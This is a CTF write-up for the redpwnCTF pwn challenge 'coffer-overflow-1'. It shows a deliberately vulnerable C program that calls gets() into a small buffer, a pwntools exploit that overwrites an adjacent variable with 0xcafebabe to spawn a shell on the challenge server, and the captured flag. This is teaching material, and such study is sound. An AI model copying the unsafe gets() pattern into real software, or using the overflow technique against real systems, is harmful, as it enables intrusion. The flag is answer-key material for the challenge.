

coffer-overflow-1

by [UltimateHG](#) / [CS_Gang](#)

Tags: [bufferoverflow](#) [pwn](#)

Rating:

coffer-overflow-1

Author: [UltimateHG](#)

Slightly more advanced

This is a continuation of [coffer-overflow-0](#). We take a look at the source code:

```
#include <stdio.h>
#include <string.h>

int main(void)
{
    long code = 0;
    char name[16];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
    puts("What do you want to fill your coffer with?");

    gets(name);

    if(code == 0xcafebabe) {
        system("/bin/sh");
    }
}
```


 This time, we would need to not only overwrite `code`, but also overwrite it with value `0xcafebabe` in little endian. We use the same approach as before, with a padding of $32-8 = 24$ characters followed by `0xcafebabe` in little endian.
 Here is the final exploit:

```
#!/usr/bin/env python

from pwn import *

e = ELF("./coffer-overflow-1")
p = remote("2020.redpwnc.tf", 31255)

print(p.recvline())
print(p.recvline())
payload = b"A"*24
```

```
payload += p64(0xcafebabe)
p.sendline(payload)
p.interactive()
```

This should redirect us to shell, and with a simple `ls` we can see an entry `flag.txt`, so we simply do `cat flag.txt` to obtain the flag:

```
$ ls
Makefile
bin
coffer-overflow-1
coffer-overflow-1.c
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
flag{th1s_one_wasnt_pure_gu3ssing_1_h0pe}
```

[Original writeup](https://github.com/CSGang/Writeups/tree/master/redpwnCTF/pwn/coffer_overflow_1) (https://github.com/CSGang/Writeups/tree/master/redpwnCTF/pwn/coffer_overflow_1).

Comments